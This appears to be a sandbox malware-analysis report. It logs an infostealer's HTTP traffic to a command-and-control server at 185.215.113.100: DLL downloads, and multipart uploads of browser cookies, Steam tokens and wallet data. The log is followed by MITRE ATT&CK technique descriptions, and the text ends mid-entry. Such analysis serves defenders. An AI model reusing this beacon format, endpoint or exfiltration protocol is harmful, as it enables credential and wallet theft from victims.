Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJDAEGCAFIIDGDGCGIJHost: 185.215.113.100Content-Length: 5999Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIIJJDHDGCGDHIJDAKHost: 185.215.113.100Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 61 38 64 63 33 65 38 64 31 65 65 61 34 63 64 31 66 65 39 64 37 63 36 32 64 36 39 34 66 61 36 65 39 61 30 34 35 35 37 35 37 36 33 63 64 62 34 65 32 31 65 33 31 31 34 64 63 36 35 34 32 61 32 35 33 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------JDGIIJJDHDGCGDHIJDAKContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------JDGIIJJDHDGCGDHIJDAKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JDGIIJJDHDGCGDHIJDAKContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEBFBFIEHIDAAAAFHCFHost: 185.215.113.100Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 42 46 42 46 49 45 48 49 44 41 41 41 41 46 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 61 38 64 63 33 65 38 64 31 65 65 61 34 63 64 31 66 65 39 64 37 63 36 32 64 36 39 34 66 61 36 65 39 61 30 34 35 35 37 35 37 36 33 63 64 62 34 65 32 31 65 33 31 31 34 64 63 36 35 34 32 61 32 35 33 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 42 46 42 46 49 45 48 49 44 41 41 41 41 46 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 42 46 42 46 49 45 48 49 44 41 41 41 41 46 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 42 46 42 46 49 45 48 49 44 41 41 41 41 46 48 43 46 2d 2d 0d 0a Data Ascii: ------JKEBFBFIEHIDAAAAFHCFContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------JKEBFBFIEHIDAAAAFHCFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKEBFBFIEHIDAAAAFHCFContent-Disposition: form-data; name="file"------JKEBFBFIEHIDAAAAFHCF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFHIIEHIEGDHJJJKFIHost: 185.215.113.100Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 61 38 64 63 33 65 38 64 31 65 65 61 34 63 64 31 66 65 39 64 37 63 36 32 64 36 39 34 66 61 36 65 39 61 30 34 35 35 37 35 37 36 33 63 64 62 34 65 32 31 65 33 31 31 34 64 63 36 35 34 32 61 32 35 33 64 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="file"------IJKFHIIEHIEGDHJJJKFI--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCGDBKEGHIEBGDBFHDHost: 185.215.113.100Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJKEHCAKFBFHJKEHCFIHost: 185.215.113.100Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 61 38 64 63 33 65 38 64 31 65 65 61 34 63 64 31 66 65 39 64 37 63 36 32 64 36 39 34 66 61 36 65 39 61 30 34 35 35 37 35 37 36 33 63 64 62 34 65 32 31 65 33 31 31 34 64 63 36 35 34 32 61 32 35 33 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 46 49 2d 2d 0d 0a Data Ascii: ------JJJKEHCAKFBFHJKEHCFIContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------JJJKEHCAKFBFHJKEHCFIContent-Disposition: form-data; name="message"wallets------JJJKEHCAKFBFHJKEHCFI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFHIIEHIEGDHJJJKFIHost: 185.215.113.100Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 61 38 64 63 33 65 38 64 31 65 65 61 34 63 64 31 66 65 39 64 37 63 36 32 64 36 39 34 66 61 36 65 39 61 30 34 35 35 37 35 37 36 33 63 64 62 34 65 32 31 65 33 31 31 34 64 63 36 35 34 32 61 32 35 33 64 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="message"files------IJKFHIIEHIEGDHJJJKFI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBFHDHJKKJDHJJJJKEGHost: 185.215.113.100Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 61 38 64 63 33 65 38 64 31 65 65 61 34 63 64 31 66 65 39 64 37 63 36 32 64 36 39 34 66 61 36 65 39 61 30 34 35 35 37 35 37 36 33 63 64 62 34 65 32 31 65 33 31 31 34 64 63 36 35 34 32 61 32 35 33 64 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 2d 2d 0d 0a Data Ascii: ------GDBFHDHJKKJDHJJJJKEGContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------GDBFHDHJKKJDHJJJJKEGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GDBFHDHJKKJDHJJJJKEGContent-Disposition: form-data; name="file"------GDBFHDHJKKJDHJJJJKEG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJDAEGCAFIIDGDGCGIJHost: 185.215.113.100Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 61 38 64 63 33 65 38 64 31 65 65 61 34 63 64 31 66 65 39 64 37 63 36 32 64 36 39 34 66 61 36 65 39 61 30 34 35 35 37 35 37 36 33 63 64 62 34 65 32 31 65 33 31 31 34 64 63 36 35 34 32 61 32 35 33 64 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 2d 2d 0d 0a Data Ascii: ------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="message"ybncbhylepme------AKJDAEGCAFIIDGDGCGIJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEGHJECFCFCBFIDBGCGHost: 185.215.113.100Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 61 38 64 63 33 65 38 64 31 65 65 61 34 63 64 31 66 65 39 64 37 63 36 32 64 36 39 34 66 61 36 65 39 61 30 34 35 35 37 35 37 36 33 63 64 62 34 65 32 31 65 33 31 31 34 64 63 36 35 34 32 61 32 35 33 64 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 2d 2d 0d 0a Data Ascii: ------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IJEGHJECFCFCBFIDBGCG--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
